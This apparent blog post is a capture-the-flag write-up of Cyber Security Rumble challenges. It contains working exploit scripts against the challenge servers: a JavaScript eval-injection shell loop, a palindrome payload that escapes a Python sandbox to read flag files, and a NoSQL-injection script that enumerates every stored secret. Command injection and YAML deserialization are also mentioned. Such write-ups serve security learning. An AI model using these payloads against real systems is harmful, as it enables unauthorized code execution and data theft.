During the Halloween weekend, NVISO together with RedRocket organized the Cyber Security Rumble and I participated. These are my solutions to all the challenges I was able to solve.


I really liked the style of challenges in this CtF, as all of the challenges felt “fair” in the way that solving them didn’t require knowledge of weird, unused technologies or esoteric languages. That being said some of them were extremely hard and demanded a ton of work.

Teams were allowed to have up to 6 players, and in total 977 teams (most of them probably solo players) registered. Out of those, 474 submitted at least one flag.

Challenges were organized into 6 levels of difficulty, those being “Not🎃Spooky”, “Sp00py👻”, “P💀Spoopy”, “Sp🅾️🅾️ky”, “2Spooky”, all the way up to “5Spooky7Me” (although that last one was a pure troll as the only challenge at that level was trivial, as you’ll see), ranging from 100 to 500 base points (disregarding the 1337 points for the troll challenge). Points were awarded on a 50/50 static/dynamic system, meaning that depending on how many players solved a Challenge, it was worth something between the listed base points up to double that amount. Categories were quire diverse: “C”, “asm”, “bash”, “cry”, “ethereum”, “js”, “math”, “misc”, “mobile”, “net”, “pwn”, “py”, “rev”, “tls”, “web”. In total there were 31 Challenges plus the troll one and a bonus “social” Challenge, that awarded no points, but helped entertain the organizers.

With all of that out of the way, let’s dive into the Challenges.




Level: Not🎃Spooky

Points: 100

Categories: Web

Author: molatho|nviso


Stop pwning, start learning REGEX! This is such a fine way to ESCAPE the real world… http://chal.cybersecurityrumble.de:9876


Let’s look at the website first:


It allows us to input some text and do a RegEx search over it. It also is nice enough to show us the resulting JavaScript code, that is presumably running on the server. If we play around with the inputs a bit we can see, that there is no filtering going on and we can execute arbitrary code:


Let’s have a look what’s happening behind the scenes. If we look at the request in Burp Suite it look like this:


Our input is Base64 encoded and the result from the server is a simple JSON object. To figure out which fields in the request are which we could either look at the website JS or decode the three strings. I did the latter.


Now that we know how the site is working it’s time to write a small script to make code execution easier. After some fiddling and some error catching this is the script I ended up with:

#!/usr/bin/env python3

import requests
import base64
import json

while True:
    javascript = input('> ');

    text = f"AAA' + eval(\"{javascript}\") + 'BBB"
    text_b64 = base64.urlsafe_b64encode(text.encode()).decode()

    ans = requests.get(f"http://chal.cybersecurityrumble.de:9876/api/regex/QkJC/Z2kg/{text_b64}")

    ans_json = json.loads(ans.text)

    if 'error' in ans_json:
        print(f"Error!: {ans_json['error']}")
    elif 'result' in ans_json:
        result = ans_json['result'].lstrip('AAA').rstrip('BBB')

It runs a small loop, asks for input, encodes it in the right format, sends it to the server and displays the result. We can test it with something small:

> 40+2

Alright, time to look around. First I wanted to look at the function the code is running in:

> arguments.callee
function anonymous(
) {
var _result = 'AAA' + eval("arguments.callee") + 'BBB'.match(/BBB/gi ); return _result;

Nothing much to see here. Next I wanted to see if anything interesting is in scope that we can use (I shortened the output a bit):

> out=''; for(name in this) {out += name + ':' + this[name];}; out
simpleFs:class SimpleFs {
    static exists(path) { [..] }

    static readFile(path) { [..] }

    static readFileSync(path) { [..] }

    static writeFile(path, contents) { [..] }

    static writeFileSync(path, contents) { [..] }

    static appendFile(path, contents) { [..] }

    static appendFileSync(path, contents) { [..] }

Looks like we can read files with a library called simple-fs. But we can’t list directory contents and we don’t know the name of the flag file. I tried reading the source file itself (using the commands this['simpleFs'].readSync('/proc/self/cmdline') and this['simpleFs'].readSync('index.js')), but didn’t find anything useful. If we try to use the standard library fs or import it using require we get the following errors:

> fs.readdir('.')
Error!: Unexpected identifier
> var fs = require('fs'); fs.readdir('.')
Error!: require is not defined

But we can get around this by calling in this way:

> var fs = process.mainModule.require('fs'); fs.readdir('.')
> this['simpleFs'].readSync('dockerfile')
from mhart/alpine-node:12
COPY . .
RUN apk update
RUN apk upgrade
RUN apk add bash
RUN apk add curl
RUN npm install
RUN chown root:root .
RUN chmod -R 755 .
RUN adduser -D -g '' server
RUN touch requests.log
RUN chown server:server requests.log
RUN chmod +s /usr/bin/curl
RUN echo 'CSR{r363x_15_fun_r363x_15_l0v3}' > /root/flaggerino_flaggeroni.toxt
RUN chmod 640 /root/flaggerino_flaggeroni.toxt
RUN chmod 744 /root
USER server
CMD [ "node", "index.js"]

There is the flag.



Level: Not🎃Spooky

Points: 100

Categories: Web

Author: rugo|RedRocket


We had problems with hackers, but now we got a enterprise firewall system build by a leading security company.


The firewall welcomes us with a login screen:


But if we look at the source code, we can clearly see that the password is written in cleartext and is only checked with JavaScipt. Using that we login and find different functionalities, the most interesting being a ping function:


It is vulnerable to classic code injection.





Level: Not🎃Spooky

Points: 100

Categories: Cry

Author: rugo|RedRocket


I guess there is no way to recover the flag. Files


The file to download is the following:

from secret import FLAG

def hashfun(msg):
    digest = []
    for i in range(len(msg) - 4):
        digest.append(ord(msg[i]) ^ ord(msg[i + 4]))
    return digest

# [10, 30, 31, 62, 27, 9, 4, 0, 1, 1, 4, 4, 7, 13, 8, 12, 21, 28, 12, 6, 60]

It is implementing a custom “hash” function and we only have the result of the hashed flag. But the implementation is deeply flawed. The hash works like this on the example string “BadCrypto”:

  B a d C r =  66  97 100  67 114
^ r y p t o = 114 121 112 116 111
               48  24  20  55  29

So every element from the input is XOR’ed with the element 4 down the line. But since every flag is starting with the string CSR{ we know the first 4 characters of the input and can therefore calculate the next 4 characters from the original and so forth. Here is a script to automate that:

#!/usr/bin/env python3

def reverse(digest):
    recovered = "CSR{"
    for i in range(len(digest)):
        recovered += (chr( ord(recovered[i]) ^ digest[i]  ))

reverse([10, 30, 31, 62, 27, 9, 4, 0, 1, 1, 4, 4, 7, 13, 8, 12, 21, 28, 12, 6, 60])

wheels n whales


Level: Not🎃Spooky

Points: 100

Categories: Web

Author: gina|RedRocket


I’ve heard that whales and wheels are the new hot thing. So a buddy of mine build a website where you can get your own. I think he hid an easter egg somewhere, but I can’t get to it, can you help me? web.py


This is a website that let’s us create either whales or wheels.




From the source code we can see that in order to get the flag we would need to create a whale with a specific set or parameters including a really lone name. However the name we can input is limited to 10 characters.

But there is also another quite interesting part in the code and it’s this one:

class Wheel:
    def from_configuration(config):
        return Wheel(**yaml.load(config, Loader=yaml.Loader))

@app.route("/wheel", methods=["GET", "POST"])
def wheel():
    if request.method == "POST":
        if "config" in request.form:
            wheel = Wheel.from_configuration(request.form["config"])
            return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)

So we can not only create a wheel by submitting the parameters directly as POST variables, but also by submitting a config object, which well that get loaded via yaml.load.


YAML is vulnerable to deserialization attacks like outlined in this paper. We can use that to get the flag:




Level: Not🎃Spooky

Points: 100

Categories: Rev, C

Author: rugo|RedRocket


For the CSR we finally created a deutsche Programmiersprache!

nc chal.cybersecurityrumble.de 65123 haupt.c


For this challenge we get a file of C code.

#include <stdio.h>
#include <stdlib.h>
#include "fahne.h"

#define Hauptroutine main
#define nichts void
#define Ganzzahl int
#define schleife(n) for (Ganzzahl i = n; i--;)
#define bitrverschieb(n, m) (n) >> (m)
#define diskreteAddition(n, m) (n) ^ (m)
#define wenn if
#define ansonsten else
#define Zeichen char
#define Zeiger *
#define Referenz &
#define Ausgabe(s) puts(s)
#define FormatAusgabe printf
#define FormatEingabe scanf
#define Zufall rand()
#define istgleich =
#define gleichbedeutend ==

nichts Hauptroutine(nichts) {
    Ganzzahl i istgleich Zufall;
    Ganzzahl k istgleich 13;
    Ganzzahl e;
    Ganzzahl Zeiger p istgleich Referenz i;

    FormatAusgabe("%d\n", i);
    FormatEingabe("%d %d", Referenz k, Referenz e);

        k istgleich bitrverschieb(Zeiger p, k % 3);

    k istgleich diskreteAddition(k, e);

    wenn(k gleichbedeutend 53225)
        Ausgabe("War wohl nichts!");

The program is asking us for two numbers, performing some calculations and only if the result is as expected do we get the flag. (Fun fact: The random number is never even used, no idea why it is even output to the user).

Even though German is my mother tongue I had a hard time reading the code, so I translated it back and simply added code to output the correct second value after inputting the first one.

#include <stdio.h>
#include <stdlib.h>

void main(void) {
    int i = rand();
    int k = 13;
    int e;
    int * p = & i;

    printf("%d\n", i);
    scanf("%d", & k);

    for (int i = 7; i--;)
        k = (* p) >>  (k % 3);

    e = k ^ 53225;
    printf("%d\n", e);

With this we can easily solve the challenge.


“Rueckwartsingeneuren” is a crude - and misspelt - translation of “Reverse Engineering”.



Level: P💀Spoopy

Points: 300

Categories: misc, py

Author: lukas2511|RedRocket


No description.

nc chal.cybersecurityrumble.de 7809


Pylindrome was a really fun and cool challenge. If we connect to the port we don’t get anything back on it’s own. We first have to input something arbitrary and get the source code running on the backend:

#!/usr/bin/env python3

import subprocess

def sandbox(toexec):
    return subprocess.check_output(["sudo", "-u", "sandbox", "python3", "-c", toexec]).decode().strip()

    code = input()[:100]
    for bad in ['#', '"""', "'''"]:
        code = code.replace(bad, "")
    assert code == code[::-1]

So we need to input something that is at most 100 characters long. After that every kind of Python comment is filtered out (including multi-line strings, which technically aren’t comments but can be used as such). Afterwards the code checks if our input is a palindrome. If that is the case we enter a two step process: First our code is handed of to a “sandboxed” python -c call. The result from that python run is then put into exec().

My solution was to try and use a combination of string quotes and escaping to have the mirrored version of my payload be ignored by the interpreter. The basic idea goes like that:


The syntax highlighting shows quite nicely what’s happening here. The first double quote starts a string. Unassigned strings that just appear like that in the code are ignored by the Python interpreter. By using a slash before the next double quote it is escaped and the string does not terminate here. It only terminates at the third quote which is also the middle of my input. After that the actual payload is being executed. The mirrored string at the end is then again simply ignored.

Since our payload is first run through an inner Python call, before being fed into the exec call, we need to encapsulate our “real” payload with a print() statement. This limits our final payload length to 34 characters, which is indeed quite limiting but just enough to get it to work.

This is my script which generates the input for me, which I can then feed into netcat, together with the two payloads I ran to find the flag.

#!/usr/bin/env python3

command = "1234567890123456789012345678901234" # max length
command = "import os;print(os.listdir());"
command = "print(open(\\'flag.txt\\').read())"

command2 = f"print('{command}');"

inject = '"\'\\"'
inject += command2[::-1]
inject += ';";'
inject += command2
inject += '"\\\'"'

if len(inject) > 100:
    print("TOO LONG!")

The resulting payload is 95 characters in total, so just shy of the 100 character limit.



The flag is a reference to xkcd #1632.

secure secret sharing


Level: P💀Spoopy

Points: 300

Categories: web

Author: rugo|RedRocket


I saved the flag at this useful webapp. But I lost the link :(.


The website let’s you “safely” store secrets and share them with others. Thankfully the author even provided us the full source code. Let’s have a look at the website first.




As we can see from the source code as well as interacting with the website, once we post a secret to it, we’ll get a link in return that is using the sha256 hash of our secret as the identifier. The server is using a mongoDB backend to store the entries. To serve a secret back to the user it is using this piece of code:

app.get('/secret_share', function(request, response) {
    var secid = request.query.secid;
    var sec = collection.findOne({id: secid});

The problem with this is that it is vulnerable to NoSQL Injection, similar to the classic SQL Injection in relational databases. Examples can be found here, with more documentation here. This leads to the fact that we can query for unknown secrets without knowing their respective hashes. We could for example negate our previous query and ask for a secret that does not have our hash by using the $ne operator:


This yields us a different secret (in fact, it’s the first secret uploaded). If we know multiple different hashes, that we do not want to retrieve, we can combine those by using the $nin operator and an array parameter:


We also have the ability to search hashes that are greater ($gt) or smaller ($lt) than a target value:


Together we can combine these queries to search for every secret that is stored on the service. We have to divide the search space otherwise the resulting URLs would get too long. Here is an automation script to handle the task. It basically queries the databases for a random secret within a given hash range, takes the output and adds it’s hash to the $nin array until no new results come back. In this case we go to the next search slice. Since we know from the source code that no secret can contain the string csr we know when we’ve found the flag.

#!/usr/bin/env python3

import requests
import re
import hashlib
import sys

found = []

for index in range(0,255):
    found_new = True
    print(f"Starting from index {index} ({index:02x})")
    while found_new:
        url = f"http://chal.cybersecurityrumble.de:37585/secret_share?secid[$gt]={index:02x}00000000000000000000000000000000000000000000000000000000000000&secid[$lt]={index+1:02x}00000000000000000000000000000000000000000000000000000000000000"
        for hash in found:
            url += f"&secid[$nin][]={hash}"

        ans = requests.get(url)

        match = re.search('<!-- secret will be placed here -->(.*)<!-- end secret -->', ans.text, re.IGNORECASE | re.MULTILINE)

        if match is None:
            print("Exhausted search, counting up")
            found = []
            found_new = False
            word = match.group(1)
            #print(f"Found new secret: {word}")
            if re.search('csr', word, re.IGNORECASE):
                print(f"FOUND FLAG: {word}")

If we let it run for long enough, we eventually find the flag:


This flag is again an xkcd refernce, this time to the well know xkcd #327.



Level: 5Spooky7Me

Points: 1337

Categories: Stegano

Author: rugo,fluxhorst|RedRocket


In the grand tradition of great stegano tasks. stego.mp4


The last flag I was able to solve was the troll one. Rated at 1337 points it might have scared some people away at even attempting it. The video starts with some crackling background noise intermixed with some bleeping that could be morse code. Later in the video morse code even appears on-screen.

But if you manage to sit through this music,


you are granted with the flag in the clear:


I couldn’t agree with that statement more!

Final remarks

In the end I was able to score 2659 points, which was enough for place 38.

I’d like to extend my thanks to the organizers who not only provided some very interesting and fun challenges but were also extremely fast at solving any and all availability issues if those even arose. I’m looking forward to participating again next time!